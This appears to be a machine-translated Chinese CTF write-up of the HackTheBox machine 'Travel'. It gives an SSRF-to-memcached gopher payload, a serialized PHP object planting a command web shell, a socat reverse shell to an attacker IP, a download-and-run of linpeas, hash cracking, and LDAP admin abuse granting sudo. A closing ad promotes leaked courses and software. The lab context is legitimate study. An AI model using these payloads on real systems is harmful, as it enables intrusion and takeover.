我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案。
在本文中,我们指出了如何使用PHP内存缓存和SSRF获取RCE,深入数据库并了解LDAP管理员面临的危险。
与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。
组织信息
侦察
这台机器的IP地址为10.10.10.189,我将其添加到/ etc / hosts中。
10.10.10.189 travel.htb
第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500
现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。
nmap -A travel.htb -p22,80,443
因此,我们可以访问SSH服务和Nginx Web服务器。扫描显示证书打算用于哪个DNS。让我们将它们添加到/ etc / hosts中。
10.10.10.189 www.travel.htb
10.10.10.189 blog.travel.htb
10.10.10.189 blog-dev.travel.htb
让我们看一下这些站点。在第一个网站上,我们找到了网站的描述。
第二个更有趣。我们立即看到这是一个WordPress CMS,然后找到搜索表单。
使用wpscan快速检查该站点,我们什么都没找到。继续并返回第403错误的第三个站点,让我们遍历目录。我为此使用gobuster。在参数中,我们指定流128(-t),URL(-u),字典(-w)和我们感兴趣的扩展(-x)的数量。
gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html
查找.git。我们可以复制存储库。
这可以通过各种程序来完成,我使用rip-git脚本。
./rip-git.pl -v -u http://blog-dev.travel.htb/.git/
在当前目录中,我们将看到生成的文件和.git存储库。
我们使用gitk来处理.git。
有一个变更日志,从中我们注意到存在缓存和安全检查。
在rss_template.php文件中,标记memcache,url参数的存在和调试。
参数必须包含字符串“ custom_feed_url”。并且最有可能在此地址提出请求。
RSS页面位于blog.travel.htb。
让我们启动本地Web服务器并访问awesome-rss,将我们的IP作为参数传递。
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120
并且我们观察到这些假设是正确的。请注意,如果缺少该网址,则将选择www.travel.htb / newsfeed / customfeed.xml。
入口点
自述文件说将这些文件移动到wp-content / themes / twenty二十(我在寻找debug.php文件时注意到了这一点)。调试文件可以在此处找到。
因此,所有这些都很有趣并且尚不清楚,但是看起来像是序列化的数据。让我们从所有信息中收集一件事:
- 我们需要联系服务器并获取feed.xml文件。
- url传递给的函数使用SimplePie API(为此提供了很好的文档)和memcache。此函数将返回一个simplepie对象。
- url_get_contents函数在template.php中提供。在这种情况下,将进行检查,这不应使我们有机会访问服务器上的文件。但是SSRF筛选器不够正确,因为我们还可以使用地址127.0.1.1、127.1、127.000.0.1等访问localhost。
- 接下来,显示来自feed.xml文件的信息。
- 还有一个TemplateHelper类和一个init()函数,该函数将传输的数据写入指定的文件。
仍然需要弄清楚将序列化数据写入日志目录中的哪个文件。让我们参考文档:
因此,该路径被解释为MD5(MD5(url)+“:spc”)。让我们检查一下,为此,我们从默认URL下载xml文件。
wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml
现在转到RSS页面,将下载的文件传递到URL。
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml
然后我们得到序列化的数据。
curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
现在,使用上述公式,我们可以计算出解释路径。
与前10个字节匹配!这里概述了攻击媒介-PHP memcached和SSRF。谷歌搜索使我想到了这个脚本。
您只需要为我们的案例更改代码。让我们创建序列化数据。
code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'
因此,我们将编写代码<?Php系统($ _ REQUEST [“ cmd”]); 反序列化时访问ralf.php文件。我们最感兴趣的密钥是xct_key,我们已经可以计算出它了。
然后我们得到以下代码来创建负载。
encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload
我们将反序列化。
r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")
完整的代码如下所示(一如既往)。
好吧,让我们正常散步。但是由于python pty存在问题,让我们使用socat创建一个反向连接外壳。让我们在客户端上启动侦听器:
socat file:`tty`,raw,echo=0 tcp-listen:4321
并从服务器连接:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321
用户
通常在这种情况下,您应该使用wordpress检查用户数据库。让我们找到wp-config.php文件。
使用这些凭据,让我们连接到mysql,我们的任务是找到wp_users表。
mysql -h 127.0.0.1 -u wp -p
让我们看一下数据库。
让我们看看wp数据库。
我们找到所需的表。
没错,当尝试对哈希进行暴力破解时,我们会失败。没有这样的密码。然后,我将linpeas脚本下载到计算机上,并进行了一些基本枚举。
curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh
除了在Docker容器中之外,我们没有发现任何特殊之处。
但是此脚本不会检查opt目录。而且因为我们只是找到数据库备份。
如果我们查看此文件中的行,则最后有一个有关两个用户的条目。
但是第二个只是瘀伤。
hashcat -a 0 -m 400 wp.hash tools/rockyou.txt
并使用找到的密码,通过ssh连接。
根
我们还在用户的工作目录中找到两个有趣的文件-.ldaprc和.viminfo。
让我们看看里面有什么。因此,在第一个文件中,我们找到了用户的ldap记录。
第二个是他的ldap密码。
让我们来看看。使用-x(简单身份验证)和-w(密码)选项调用ldapwhoami。
ldapwhoami -x -w Theroadlesstraveled
我们看到来自.ldaprc文件的条目。让我们询问信息。
ldapsearch -x -w Theroadlesstraveled
因此,我们获得了用户列表,并且知道我们是LDAP管理员。也就是说,我们可以为任何用户创建一个SSH密钥,更改密码并将sudo组输入到该组中!Sudo组-27。
让我们创建一对密钥。
现在让我们创建一个配置文件。
让我们将它们应用于坦率的用户。
ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f frank.ldif
并通过SSH连接
ssh -i id_rsa frank@travel
现在,让我们使用sudo和我们的密码。
您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们建立一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。